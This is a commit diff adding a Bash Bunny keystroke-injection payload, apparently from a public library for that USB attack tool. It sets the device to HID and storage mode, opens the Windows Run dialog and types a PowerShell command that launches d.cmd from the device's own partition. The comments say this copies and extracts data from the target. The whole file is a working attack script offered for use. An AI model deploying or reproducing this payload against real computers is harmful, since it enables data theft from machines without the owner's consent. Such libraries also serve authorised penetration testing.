Added PowershellTCPExtractor (#144)

payloads/library/Powershell_TCP_Extractor/payload.txt

@@ -0,0 +1,21 @@
+#!/bin/bash
+#
+# Title:         Powershell Extractor
+# Author:        $irLurk$alot
+# Version:       1.0
+# Target:        Windows
+# 
+# Executes d.cmd from the selected switch folder of the Bash Bunny USB Disk partition,
+# which in turn runs powershell script to copy move and extract data.
+
+# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
+source bunny_helpers.sh
+
+LED R 100
+ATTACKMODE HID STORAGE
+QUACK GUI r
+QUACK DELAY 100
+LED R B 100
+QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\d.cmd')"
+QUACK ENTER
+LED R G B